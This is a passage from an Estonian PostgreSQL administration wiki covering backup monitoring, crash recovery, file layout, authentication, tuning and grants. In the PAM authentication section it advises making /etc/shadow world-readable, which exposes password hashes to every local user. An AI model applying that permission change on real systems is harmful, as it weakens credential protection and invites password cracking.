   echo -e &amp;quot;db.loomaaed\tbackup\t2\tbackup katki&amp;quot; | send_nsca -c /etc/send_nsca.cfg -H mon.loomaaed -p 5667&lt;br /&gt;
 fi&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* juhtumil kui psql või rsync käsud on õnnestunud saadatetakse korras nagiosele signaal&lt;br /&gt;
* juhtumil kui psql või rsync käsud on õnnestunud saadatetakse katki nagiosele signaal&lt;br /&gt;
&lt;br /&gt;
ning Nagioses kirjeldada passiivne kontroll&lt;br /&gt;
&lt;br /&gt;
 define service {  &lt;br /&gt;
   host_name                  www-1.auul &lt;br /&gt;
   service_description        backup&lt;br /&gt;
   use                        passive-generic-service&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
===Andmebaasi UTF-8 kodeeringuvigade parandamine===&lt;br /&gt;
&lt;br /&gt;
Järnev skript kontrollib sisendisse antud sql dump faili vastavust utf8 kodeeringule ning väljastab vigaste kirjete kohta andmed&lt;br /&gt;
&lt;br /&gt;
 #!/usr/bin/python&lt;br /&gt;
 import sys, time&lt;br /&gt;
 &lt;br /&gt;
 rownr = 0&lt;br /&gt;
 t0 = t1 = time.time()&lt;br /&gt;
 next = sys.stdin.readline&lt;br /&gt;
 &lt;br /&gt;
 errors = open('utf8errors.log','w')&lt;br /&gt;
 &lt;br /&gt;
 while 1:&lt;br /&gt;
     row = next()&lt;br /&gt;
     if not row:&lt;br /&gt;
         break&lt;br /&gt;
     try:&lt;br /&gt;
         urow = row.decode('utf8')&lt;br /&gt;
     except:&lt;br /&gt;
         print row&lt;br /&gt;
         errors.write(row)&lt;br /&gt;
     rownr += 1&lt;br /&gt;
     if rownr % 1000000 == 0:&lt;br /&gt;
         t2 = time.time()&lt;br /&gt;
         print rownr, t2 - t1, t2 - t0&lt;br /&gt;
         t1 = t2&lt;br /&gt;
 &lt;br /&gt;
 print 'Done!'&lt;br /&gt;
 t2 = time.time()&lt;br /&gt;
 print rownr, t2 - t1, t2 - t0&lt;br /&gt;
&lt;br /&gt;
Kasutamine toimub öeldes&lt;br /&gt;
&lt;br /&gt;
  $ cat dump.sql | ./utf8check.py&lt;br /&gt;
&lt;br /&gt;
===Misc===&lt;br /&gt;
&lt;br /&gt;
* show &amp;lt;tab&amp;gt; - esitab nimekirja võimalikest küsimustest, nt&lt;br /&gt;
&lt;br /&gt;
  show max_connections;&lt;br /&gt;
  max_connections &lt;br /&gt;
 -----------------&lt;br /&gt;
  100&lt;br /&gt;
 (1 row)&lt;br /&gt;
&lt;br /&gt;
* Andmebaasi poolt failisüsteemis kasutatud mahu küsimine, sisaldab indekseid&lt;br /&gt;
&lt;br /&gt;
 sql&amp;gt; SELECT pg_size_pretty(pg_database_size('andmebaasinimi')) As fulldbsize;&lt;br /&gt;
&lt;br /&gt;
* Tabeli suuruse küsimine&lt;br /&gt;
&lt;br /&gt;
 sql&amp;gt; SELECT pg_size_pretty(pg_total_relation_size('skeeminimi.tabelinimi')) As fulltblsize, \&lt;br /&gt;
   pg_size_pretty(pg_relation_size('skeeminimi.tabelinimi')) As justthetblsize;&lt;br /&gt;
&lt;br /&gt;
* Kui andmebaasi vacuumil esineb anomaaliaid, siis võib olla abiks baasi vacuumimine tabeli kaupa. Tabelite nimekirja saab küsida andmebaasilt öeldes&lt;br /&gt;
&lt;br /&gt;
 $ psql -U postgres -h hostname -c &amp;quot;select n.nspname||'.'||c.relname from pg_class c join pg_namespace n on \&lt;br /&gt;
   (c.relnamespace=n.oid) where relkind='r' order by 1;&amp;quot; baasinimi &amp;gt; vacuum-tabelid.txt&lt;br /&gt;
&lt;br /&gt;
ning saadud nimekirja abil toimub vakumeerimine öeldes&lt;br /&gt;
&lt;br /&gt;
 $ for i in `cat vacuum-tabelid.txt`; do psql -c &amp;quot;vacuum verbose analyze $i&amp;quot; -U postgres -h hostname -p5432 baasinimi \&lt;br /&gt;
   1&amp;gt; $i-1.log 2&amp;gt; $i-2.log; sleep 5; done&lt;br /&gt;
&lt;br /&gt;
* v. 8.4 - failinime järgi tabeli leidmine, kui failisüsteemis on suured failid ja tekib küsimus, millise tabeliga on nad seotud, sobib öelda nii&lt;br /&gt;
&lt;br /&gt;
 $ du -sk /data/postgresql/8.4/main/base/16400/* | sort -n | tail -n 4&lt;br /&gt;
 1049604 /data/postgresql/8.4/main/base/16400/195106.6&lt;br /&gt;
 1049604 /data/postgresql/8.4/main/base/16400/195106.7&lt;br /&gt;
 1049604 /data/postgresql/8.4/main/base/16400/195106.8&lt;br /&gt;
 1049604 /data/postgresql/8.4/main/base/16400/195106.9&lt;br /&gt;
&lt;br /&gt;
 $ /usr/lib/postgresql/8.4/bin/oid2name -H 127.0.0.1 -U postgres -d loomaaed -f 195106 -x&lt;br /&gt;
 From database &amp;quot;loomaaed&amp;quot;:&lt;br /&gt;
  Filenode       Table Name     Oid    Schema  Tablespace&lt;br /&gt;
 ---------------------------------------------------------&lt;br /&gt;
    195106  pg_toast_195103  195106  pg_toast  pg_default&lt;br /&gt;
&lt;br /&gt;
 $ /usr/lib/postgresql/8.4/bin/oid2name -H 127.0.0.1 -U postgres -d loomaaed -f 195103 -x&lt;br /&gt;
 From database &amp;quot;loomaaed&amp;quot;:&lt;br /&gt;
  Filenode             Table Name    Oid  Schema  Tablespace&lt;br /&gt;
 ------------------------------------------------------------&lt;br /&gt;
    195103  tabelinimi  74224  wizard  pg_default&lt;br /&gt;
&lt;br /&gt;
Tulumusena on teada, et 195106.6 fail on seotud wizard.tabelinimi tabeliga.&lt;br /&gt;
&lt;br /&gt;
* v. 9.4 - failinime järgi tabeli leidmine, kui failisüsteemis on suured failid ja tekib küsimus, millise tabeliga on nad seotud, sobib öelda nii&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# \c baasinimi&lt;br /&gt;
baasinimi=# select pg_filenode_relation(0,233328054);&lt;br /&gt;
 pg_filenode_relation &lt;br /&gt;
----------------------&lt;br /&gt;
 baasinimi&lt;br /&gt;
(1 row)&lt;br /&gt;
&lt;br /&gt;
baasinimi=# select pg_relation_filepath('tabelinimi');&lt;br /&gt;
 pg_relation_filepath &lt;br /&gt;
----------------------&lt;br /&gt;
 base/16424/233328054&lt;br /&gt;
(1 row)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Andmebaasi krahh===&lt;br /&gt;
&lt;br /&gt;
Andmebaasi krahh (ingl. k. crash) on selline olukord kus andmebaasi töö on lõppenud ilma nö normaalselt andmebaasi protsesse seisates, nt öeldes&lt;br /&gt;
&lt;br /&gt;
 # pg_ctlcluster 9.2 main stop&lt;br /&gt;
&lt;br /&gt;
Krahh võivad tekkida nt järgmistel juhtudel&lt;br /&gt;
&lt;br /&gt;
* seoses operatsioonisüsteemi krahhiga (nt arvutil kaob toide)&lt;br /&gt;
* andmefailide failisüsteem saab täis&lt;br /&gt;
* andmebaasi ise või mõni moodul kasutab mälu valesti ja kogu baasi töö lõpetatakse (andmebaasi teeb endale ise restardi)&lt;br /&gt;
&lt;br /&gt;
====Anmdmebaasi käivitamine peale krahhi====&lt;br /&gt;
&lt;br /&gt;
Üldiselt PostgreSQL andmebaas ei lähe krahhi tulemusena katki, andmebaas kasutab failisüsteemi sellisel viisil, et järgmisel käivitamisel jõuab baas viimase töötava seisuni (transaktsioonini) ja jätkab sealt. Midagi erilist pole teha vaja lisaks tavalisele baasi käivitamisel, logisse kirjutatakse seejuures&lt;br /&gt;
&lt;br /&gt;
 TODO&lt;br /&gt;
&lt;br /&gt;
====Krahh PITR varundamise ajal====&lt;br /&gt;
&lt;br /&gt;
Kui enamusel juhtudel peale krahhi toimumist piisab andmebaas tavalisel moel käivitada ja ta jätkab tööd, siis PITR backupi (st pg_start_backup/pg_stop_backup) tegemise ajal toimunud krahhi puhul on andmeklastri kataloogis ees fail, mis segab käivitumist&lt;br /&gt;
&lt;br /&gt;
 /data/postgresql/backup_label&lt;br /&gt;
&lt;br /&gt;
Samal ajal öeldakse logisse&lt;br /&gt;
&lt;br /&gt;
 2013-03-20 12:10:25 EET    15966  51498b11.3e5e  1 2013-03-20 12:10:25 EET 0 LOG:  database system was interrupted; last known up at 2013-03-20 12:10:09 EET&lt;br /&gt;
 2013-03-20 12:10:25 EET    15966  51498b11.3e5e  2 2013-03-20 12:10:25 EET 0 LOG:  could not open file &amp;quot;pg_xlog/00000001000005E600000008&amp;quot; (log file 1510, segment 8): \&lt;br /&gt;
   No such file or  directory&lt;br /&gt;
 2013-03-20 12:10:25 EET    15966  51498b11.3e5e  3 2013-03-20 12:10:25 EET 0 LOG:  invalid checkpoint record&lt;br /&gt;
 2013-03-20 12:10:25 EET    15966  51498b11.3e5e  4 2013-03-20 12:10:25 EET 0 PANIC:  could not locate required checkpoint record&lt;br /&gt;
 2013-03-20 12:10:25 EET    15966  51498b11.3e5e  5 2013-03-20 12:10:25 EET 0 HINT:  If you are not restoring from a backup, try removing the file &amp;quot;/data/postgresql/backup_label&amp;quot;.&lt;br /&gt;
 2013-03-20 12:10:25 EET batchmanager portaal 127.0.0.1(50593) 15969  51498b11.3e61  1 2013-03-20 12:10:25 EET 0 FATAL:  the database system is in recovery mode&lt;br /&gt;
 2013-03-20 12:10:25 EET eit1 xportal 10.100.6.75(55188) 15970  51498b11.3e62  1 2013-03-20 12:10:25 EET 0 FATAL:  the database system is in recovery mode&lt;br /&gt;
 2013-03-20 12:10:25 EET    21687  513baab9.54b7  37 2013-03-09 23:33:45 EET 0 LOG:  startup process (PID 15966) was terminated by signal 6: Aborted&lt;br /&gt;
 2013-03-20 12:10:25 EET    21687  513baab9.54b7  38 2013-03-09 23:33:45 EET 0 LOG:  aborting startup due to startup process failure&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* on näha, et baasi käivitamisega on probleem&lt;br /&gt;
* HINT annab teada, mida teha, tuleb eemaldada pg_start_backup() ütlemisega tekitatud fail backup_label&lt;br /&gt;
&lt;br /&gt;
 $ rm /data/postgresql/backup_label&lt;br /&gt;
&lt;br /&gt;
Seejärel võib baasi tavapärasel viisil edasi kasutada&lt;br /&gt;
&lt;br /&gt;
====Krahhi uurimine====&lt;br /&gt;
&lt;br /&gt;
* Kui nt PL keeles tehtud protseduur kasutab mõnda teeki, mis omakorda kasutab mõnda teeki, mida aga failisüsteemis ei ole, siis tavaliselt andmebaas crashib teatega&lt;br /&gt;
&lt;br /&gt;
 2010-05-24 16:10:09 EEST    21463  4bf28ed8.53d7  3 2010-05-18 15:58:00 EEST 0 LOG:  server process (PID 32188) exited with exit code 12&lt;br /&gt;
 2010-05-24 16:10:09 EEST    21463  4bf28ed8.53d7  4 2010-05-18 15:58:00 EEST 0 LOG:  terminating any other active server processes&lt;br /&gt;
&lt;br /&gt;
Põhjusele võib aidata jälile jõuda mainitud PID väärtust eestpoolt logist otsides, nt antud juhtumil&lt;br /&gt;
&lt;br /&gt;
 2010-05-24 16:01:19 EEST gateway portaal 127.0.0.1(57375) 32188 SELECT 4bfa789f.7dbc SELECT 1 2010-05-24 16:01:19 EEST 0 \&lt;br /&gt;
   WARNING:  error from Perl function &amp;quot;sqlora&amp;quot;: install_driver(Oracle) failed: Can't load&lt;br /&gt;
   '/usr/local/lib/perl/5.8.8/auto/DBD/Oracle/Oracle.so' for module DBD::Oracle: libclntsh.so.10.1: cannot open shared object file: \&lt;br /&gt;
   No such file or directory at /usr/lib/perl/5.8/DynaLoader.pm line 225.&lt;br /&gt;
         at line 5&lt;br /&gt;
        Compilation failed in require at line 3.&lt;br /&gt;
        Perhaps a required shared library or dll isn't installed where expected&lt;br /&gt;
         at line 11&lt;br /&gt;
 2010-05-24 16:01:19 EEST gateway portaal 127.0.0.1(57375) 32188 SELECT 4bfa789f.7dbc SELECT 2 2010-05-24 16:01:19 EEST 0 \&lt;br /&gt;
   CONTEXT:  PL/pgSQL function &amp;quot;low&amp;quot; line 2 at RETURN&lt;br /&gt;
        PL/pgSQL function &amp;quot;field&amp;quot; line 335 at assignment&lt;br /&gt;
        PL/pgSQL function &amp;quot;sisu&amp;quot; line 502 at assignment&lt;br /&gt;
        PL/pgSQL function &amp;quot;show&amp;quot; line 56 at assignment&lt;br /&gt;
 Out of memory!&lt;br /&gt;
&lt;br /&gt;
===Andmebaasi monitooring===&lt;br /&gt;
&lt;br /&gt;
* Üheks andmebaasi oluliseks andmebaasi seisundit iseloomustavaks näitajaks on kui kaugel ta on nn wraparound ajast, arv peab olema alati alla 2g ja seda hoiab väiksena korrapärane andmebaasi vakumeerimine&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; SELECT relname, age(relfrozenxid) FROM pg_class WHERE relkind = 'r';&lt;br /&gt;
 SQL&amp;gt; SELECT datname, age(datfrozenxid) FROM pg_database;&lt;br /&gt;
&lt;br /&gt;
* Andmebaasi sisemisi näitajaid sobib kasutada Cactiga graafikute joonistamiseks või Nagiosegaga alarmi saatmiseks, nt http://bucardo.org/wiki/Check_postgres.&lt;br /&gt;
&lt;br /&gt;
Kasulikud materjalid&lt;br /&gt;
&lt;br /&gt;
* http://kuutorvaja.eenet.ee/wiki/Nagiose_kasutamine_Debian_Lenniga#PostgreSQL&lt;br /&gt;
&lt;br /&gt;
===Failisüsteemi kasutamine===&lt;br /&gt;
&lt;br /&gt;
Tekst http://www.postgresql.org/docs/9.0/static/storage-file-layout.html kirjeldab kuidas PostgreSQL andmebaas kasutab failisüsteemi&lt;br /&gt;
&lt;br /&gt;
 faili-või kataooginimi	  Kirjeldus&lt;br /&gt;
 PG_VERSION	          A file containing the major version number of PostgreSQL&lt;br /&gt;
 base	                  Subdirectory containing per-database subdirectories&lt;br /&gt;
 global	                  Subdirectory containing cluster-wide tables, such as pg_database&lt;br /&gt;
 pg_clog	          Subdirectory containing transaction commit status data&lt;br /&gt;
 pg_multixact	          Subdirectory containing multitransaction status data (used for shared row locks)&lt;br /&gt;
 pg_notify	          Subdirectory containing LISTEN/NOTIFY status data&lt;br /&gt;
 pg_stat_tmp	          Subdirectory containing temporary files for the statistics subsystem&lt;br /&gt;
 pg_subtrans	          Subdirectory containing subtransaction status data&lt;br /&gt;
 pg_tblspc	          Subdirectory containing symbolic links to tablespaces&lt;br /&gt;
 pg_twophase         	  Subdirectory containing state files for prepared transactions&lt;br /&gt;
 pg_xlog	          Subdirectory containing WAL (Write Ahead Log) files&lt;br /&gt;
 postmaster.opts	  A file recording the command-line options the server was last started with&lt;br /&gt;
 postmaster.pid	          A lock file recording the current server PID and shared memory segment ID (not present after server shutdown&lt;br /&gt;
&lt;br /&gt;
Andmebaaside OID väärtusi kasutadakse failisüteemis kataloogis base asuvate andmebaasidele vastavate kataloogide nimedena&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; SELECT datname, oid FROM pg_database;&lt;br /&gt;
&lt;br /&gt;
Andmebaasi kataloogis asub selliseid faile&lt;br /&gt;
&lt;br /&gt;
* tabelitele ja indeksitele vastavad failid, mille nimedena kasutatakse üldiselt vastavad OID väärtusi&lt;br /&gt;
* tabeli ja indeksi failiga kaasnevad vastavad *_fsm ja *_vm failid, mis on vastavalt free space map ning visibility map&lt;br /&gt;
* kui tabeli 8kB suurusse pagesse ei mahu tabeli rida ära, siis kasutatakse vastavate andmete hoidmiseks TOAST (The Oversized-Attribute Storage Technique) faili&lt;br /&gt;
* kui tabeli on üle 1 GB suur, siis hoitakse vastavaid andmeid OID.1, OID.2 jne nimelistes failides&lt;br /&gt;
&lt;br /&gt;
Tabeli nimi, oid väärtuse, kasutatud 8kB lehted ja tabelis sisalduvate korteežide arvu kohta saab küsida selliselt&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; select relname, oid, relpages, reltuples from pg_class limit 10;&lt;br /&gt;
          relname          |  oid  | relpages | reltuples &lt;br /&gt;
 --------------------------+-------+----------+-----------&lt;br /&gt;
  priidutabel              |  1247 |        7 |       283&lt;br /&gt;
  marditabel               | 11550 |        0 |         0&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
contrib utiliit oid2name abil saab küsida oid väärtusele vastavat tabelinime&lt;br /&gt;
&lt;br /&gt;
 $ /usr/lib/postgresql/8.4/bin/oid2name -H 127.0.0.1 -U postgres -d rsyslog -f 2755 -x &lt;br /&gt;
 From database &amp;quot;loomdb&amp;quot;:&lt;br /&gt;
   Filenode             Table Name   Oid      Schema  Tablespace&lt;br /&gt;
 ---------------------------------------------------------------&lt;br /&gt;
       2755            priidutabel  2755       priit  pg_default&lt;br /&gt;
&lt;br /&gt;
===Kasutaja autentimine===&lt;br /&gt;
&lt;br /&gt;
Vaikimisi toimub andmebaasi kasutaja autentimine selliselt, et&lt;br /&gt;
&lt;br /&gt;
* baasi saab üle võrgu sisse logida baasis kirjeldatud kasutaja oma baasis kirjeldatud parooliga&lt;br /&gt;
* baasi saab lokaalselt sisse logida kasutaja, kelle unix kasutajanimi klapib baasis kirjeldatud kasutajanimega&lt;br /&gt;
&lt;br /&gt;
====Kasutaja autentimine /etc/passwd abil====&lt;br /&gt;
&lt;br /&gt;
Andmebaasi kasutaja autentimiseks nö süsteemi lokaalse kasutajana sobib kasutada pg_hba.conf failis nt rida&lt;br /&gt;
&lt;br /&gt;
 host all all 0.0.0.0/0 pam&lt;br /&gt;
&lt;br /&gt;
ning muuta /etc/shadow faili loabit, seejuures tuleb ise hinnata, kas see muudatus on aktsepteeritav&lt;br /&gt;
&lt;br /&gt;
 # chmod o+r /etc/shadow&lt;br /&gt;
&lt;br /&gt;
====Kasutaja autentimine Kerberosega====&lt;br /&gt;
&lt;br /&gt;
Kerberose kasutaja autentimiseks Kerberosega peab olema kasutada Kerberose infrastruktuur, nt selline nagu kirjeldatud tekstis [[:MIT Kerberose kasutamine Debianiga]]. Lisaks tuleb&lt;br /&gt;
&lt;br /&gt;
* moodustada andmebaasiarvuti PostgreSQL teenusele vastav Kerberose osapool öeldes andmebaasi arvutis kasutajana postgres&lt;br /&gt;
&lt;br /&gt;
 $ kadmin -p root/admin -q &amp;quot;addprinc postgres/postgresql.loomaaed&amp;quot;&lt;br /&gt;
 $ kadmin -p root/admin -q &amp;quot;ktadd -k /etc/postgresql-common/krb5.keytab postgres/postgresql.loomaaed&amp;quot;&lt;br /&gt;
&lt;br /&gt;
* kasutada pg_hba.conf failis sarnast rida&lt;br /&gt;
&lt;br /&gt;
 # TYPE  DATABASE    USER    CIDR-ADDRESS        METHOD&lt;br /&gt;
 ...&lt;br /&gt;
 host    all         all     192.168.10.205/32   gss&lt;br /&gt;
&lt;br /&gt;
Eeldusel, et kerberose kasutaja nimi langeb kokku andmebaasi kasutaja nimega saab seejärel kasutaja andmebaasi sisse logida öeldes tavalisel moel&lt;br /&gt;
&lt;br /&gt;
 $ psql -h postgresql.loomaaed -U priit priit&lt;br /&gt;
&lt;br /&gt;
Samuti toetab PgAdmin3 GSSAPI kasutamist.&lt;br /&gt;
&lt;br /&gt;
====Kasutaja autentimine PAM + LDAP kataloogiga====&lt;br /&gt;
&lt;br /&gt;
Eeldusel, et süsteemis on PAM LDAP backend kasutamine ettevalmistatud sobib PostgreSQL kasutajate LDAP kataloogi vastu autentimiseks&lt;br /&gt;
&lt;br /&gt;
* PostgreSQL pg_hba.conf seadistusfailis kasutada nt rida&lt;br /&gt;
&lt;br /&gt;
 host    all         all        127.0.0.1/32 pam pamservice=postgresql&lt;br /&gt;
&lt;br /&gt;
* /etc/pam.d/postgresql failis kasutada ridu (pamservice parameeter näitab PAM teenuse nime)&lt;br /&gt;
&lt;br /&gt;
 auth    sufficient      pam_ldap.so&lt;br /&gt;
 account sufficient      pam_ldap.so&lt;br /&gt;
&lt;br /&gt;
Oluline on tähele panna, et antud asjakorralduse puhul peab PostgreSQL andmebaasis olema kõnealune kasutaja olemas ja tema privileegid kirjeldatud, ainult autentimine toimub PAM+LDAP abil.&lt;br /&gt;
&lt;br /&gt;
====Kasutaja autentimine Active Directory vastu====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Andmebaasi tuunimine===&lt;br /&gt;
&lt;br /&gt;
Aadressil http://wiki.postgresql.org/wiki/Performance_Optimization on toodud mitmeid viiteid tekstidele, kuidas admebaasi seadistusfaili sobivate seadistuste valimisel suurendada andmebaasi jõudlust.&lt;br /&gt;
&lt;br /&gt;
* shared_buffers - kui arvutis ei tööta muid olulisi protsesse peale andmebaasi, siis võiks selle parameetri väärtus olla 1/4 operatsioonisüsteemi mälust (RAM); seejuures tuleb tõenäoliselt suurendada ka kernel.shmmax parameetri väärtust, nt pooleli ram'ist, nt kui ram on 4g, siis sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # sysctl -w kernel.shmmax=2147483648&lt;br /&gt;
&lt;br /&gt;
Tavaliselt on kernel.shmall väärtus piisavalt suur, see väljendab kogu jagatud mälu suurust süsteemis page ühikutes (4 kB x86 raual); nt 2097152 = 8G&lt;br /&gt;
&lt;br /&gt;
PostgeSQL enda manuaalis on vastavad juhised aadressil http://www.postgresql.org/docs/8.3/interactive/kernel-resources.html.&lt;br /&gt;
&lt;br /&gt;
* max_connections = 750&lt;br /&gt;
* superuser_reserved_connections = 8&lt;br /&gt;
* work_mem - &lt;br /&gt;
* maintainance_work_mem -&lt;br /&gt;
* effective_cache_size - pool arvuti mälu suurusest&lt;br /&gt;
&lt;br /&gt;
shmall ja shmmax arvutamiseks sobib nt selline skript, http://www.postgresql.org/message-id/4D3B1F75.8040405@2ndquadrant.com&lt;br /&gt;
&lt;br /&gt;
 page_size=`getconf PAGE_SIZE`&lt;br /&gt;
 phys_pages=`getconf _PHYS_PAGES`&lt;br /&gt;
 &lt;br /&gt;
 if [ -z &amp;quot;$page_size&amp;quot; ]; then&lt;br /&gt;
   echo Error:  cannot determine page size&lt;br /&gt;
   exit 1&lt;br /&gt;
 fi&lt;br /&gt;
 &lt;br /&gt;
 if [ -z &amp;quot;$phys_pages&amp;quot; ]; then&lt;br /&gt;
   echo Error:  cannot determine number of memory pages&lt;br /&gt;
   exit 2&lt;br /&gt;
 fi&lt;br /&gt;
 &lt;br /&gt;
 shmall=`expr $phys_pages / 2`&lt;br /&gt;
 shmmax=`expr $shmall \* $page_size`&lt;br /&gt;
 &lt;br /&gt;
 echo \# Maximum shared segment size in bytes&lt;br /&gt;
 echo kernel.shmmax = $shmmax&lt;br /&gt;
 echo \# Maximum number of shared memory segments in pages&lt;br /&gt;
 echo kernel.shmall = $shmall&lt;br /&gt;
&lt;br /&gt;
256 GB mäluga arvutis annab ta sellise tulemuse&lt;br /&gt;
&lt;br /&gt;
 # sh shmsetup&lt;br /&gt;
 # Maximum shared segment size in bytes&lt;br /&gt;
 kernel.shmmax = 135512178688&lt;br /&gt;
 # Maximum number of shared memory segments in pages&lt;br /&gt;
 kernel.shmall = 33084028&lt;br /&gt;
&lt;br /&gt;
Debian Wheezy, Ubuntu 12.04 jt keskkondade ja PGDG andmebaasi puhul paigutatakse need parameetrid /etc/sysctl.d/30-postgresql-shm.conf seadistusfaili.&lt;br /&gt;
&lt;br /&gt;
Kui work_mem väärtus on liig väike, siis kasutatakse tmp faile, nende kasutamisest aitab aimu saada log_temp_files parameeter&lt;br /&gt;
&lt;br /&gt;
 #log_temp_files = -1                    # log temporary files equal or larger&lt;br /&gt;
                                         # than the specified size in kilobytes;&lt;br /&gt;
                                         # -1 disables, 0 logs all temp files&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* http://pgtune.leopard.in.ua/&lt;br /&gt;
&lt;br /&gt;
===Logimine===&lt;br /&gt;
&lt;br /&gt;
* Andmebaasi tehtud ühenduste logimiseks sobib kasutada ridu&lt;br /&gt;
&lt;br /&gt;
 log_connections = on&lt;br /&gt;
 log_disconnections = on&lt;br /&gt;
&lt;br /&gt;
* kasutaja päringute logimiseks&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; ALTER USER gateway SET log_statement = 'all';&lt;br /&gt;
&lt;br /&gt;
kuna see täidab tõenäoliselt hästi failisüsteemi, tuleb peale kasutamist logimine uuesti välja lülitada&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; ALTER USER gateway SET log_statement = 'none';&lt;br /&gt;
&lt;br /&gt;
===Märkused===&lt;br /&gt;
&lt;br /&gt;
* pg_dump ei salvesta andmebaasi search_path'i, see peale baasi taastamist tuleb sobiv alter lause eraldi öelda, nt&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; ALTER DATABASE loomaaed SET search_path=loom, lind;&lt;br /&gt;
&lt;br /&gt;
* kasutaja search_path seadmine&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; dvk=# ALTER USER dkk_admin SET search_path = dkk, public;&lt;br /&gt;
&lt;br /&gt;
* Kui andmebaasi arhiivifaili sisselugemisel keelega seotud teegi asukoht muutub, siis sobib teha kas sobib link, nt&lt;br /&gt;
&lt;br /&gt;
 # ln -s /usr/lib/postgresql/8.3/lib/plpgsql.so /usr/local/postgresql/lib/plpgsql.so&lt;br /&gt;
&lt;br /&gt;
või moodustada nö käsitsi vastav keel enne arhiivifaili kasutamist&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; CREATE LANGUAGE plpgsql;&lt;br /&gt;
&lt;br /&gt;
* Suuremate nö bulk-insertide puhul on normaalne, et logisse ilmuvad sellised teated&lt;br /&gt;
&lt;br /&gt;
 2010-06-14 13:40:17 EEST    3260  4c07e97c.cbc  135 2010-06-03 20:42:20 EEST 0 LOG:  checkpoints are occurring too frequently \&lt;br /&gt;
   (21 seconds apart)&lt;br /&gt;
 2010-06-14 13:40:17 EEST    3260  4c07e97c.cbc  136 2010-06-03 20:42:20 EEST 0 HINT:  Consider increasing the configuration \&lt;br /&gt;
   parameter &amp;quot;checkpoint_segments&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
* Kõigile baasi tabelitele, mis võivad asuda erinevates skeemides grantide ütlemine&lt;br /&gt;
&lt;br /&gt;
 $ psql -h 127.0.0.1 -U kasutaja baas -c '\dt' | egrep &amp;quot;data|public|wizard|live&amp;quot; | awk '{ print $1 &amp;quot;.&amp;quot; $3}' &amp;gt; baas.tabelid&lt;br /&gt;
 $ for i in `cat baas.tabelid`; do psql -h 127.0.0.1 -U kasutaja baas -c &amp;quot;GRANT SELECT ON TABLE $i TO grupinimi;&amp;quot;; done&lt;br /&gt;
&lt;br /&gt;
* sequence viimase väärtuse küsimune, last_value asemele võib kirjutada ka *&lt;br /&gt;
&lt;br /&gt;
 baasinimi=# select last_value from skeeminimi.sq_tabelinimi_id;&lt;br /&gt;
 last_value &lt;br /&gt;
 ------------&lt;br /&gt;
    1009492&lt;br /&gt;
 (1 row)&lt;br /&gt;
&lt;br /&gt;
* Kui ühenduste arv (max_connections) on täis, siis logitakse&lt;br /&gt;
&lt;br /&gt;
 2016-07-22 13:49:35 EEST rakendus rakendus 10.100.7.168(38576) 12756 startup 5791fa3f.31d4 startup 1 \&lt;br /&gt;
   2016-07-22 13:49:35 EEST 0 FATAL:  remaining connection slots are reserved for non-replication superuser connections&lt;br /&gt;
&lt;br /&gt;
===Ligipääsude massiline haldamine===&lt;br /&gt;
&lt;br /&gt;
====Skeemid====&lt;br /&gt;
&lt;br /&gt;
Tõenäoliselt saab nii nö päris schemade nimekirja&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; select * from information_schema.schemata where schema_owner != 'postgres';&lt;br /&gt;
&lt;br /&gt;
Kõigile skeemidele portaal_ro non-login rollile USAGE privileegi andmine&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; select 'GRANT USAGE ON ' || schema_name || ' TO portaal_ro;' from information_schema.schemata where schema_owner != 'postgres';&lt;br /&gt;
&lt;br /&gt;
====Tabelid====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
====20171017 täiendus====&lt;br /&gt;
&lt;br /&gt;
Skeemi public kõigile tabelitele lugemise ligipääsu andmine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SQL&amp;gt; create role wiki_ro;&lt;br /&gt;
SQL&amp;gt; \c baasinimi&lt;br /&gt;
SQL&amp;gt; GRANT SELECT ON ALL TABLES IN SCHEMA public TO wiki_ro;&lt;br /&gt;
SQL&amp;gt; GRANT SELECT ON ALL SEQUENCES IN SCHEMA public TO wiki_ro;&lt;br /&gt;
SQL&amp;gt; create role wiki_bi login;&lt;br /&gt;
SQL&amp;gt; grant wiki_ro to wiki_bi;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://jamie.curle.io/creating-a-read-only-user-in-postgres&lt;br /&gt;
&lt;br /&gt;
===PostgreSQL SSL toe kasutamine===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Extensionite kasutamine===&lt;br /&gt;
&lt;br /&gt;
Nimekirja küsimine&lt;br /&gt;
&lt;br /&gt;
 sql&amp;gt; select * from pg_available_extensions order by name;&lt;br /&gt;
&lt;br /&gt;
===pg_buffercache===&lt;br /&gt;
&lt;br /&gt;
pg_buffefrcache on contrib moodul, kasutamiseks tuleb laadida baasi abivahendid&lt;br /&gt;
&lt;br /&gt;
 $ psql -p 5432 -U postgres -d pgbench -f /usr/share/postgresql/9.0/contrib/pg_buffercache.sql&lt;br /&gt;
&lt;br /&gt;
===Baasi kustutamine===&lt;br /&gt;
&lt;br /&gt;
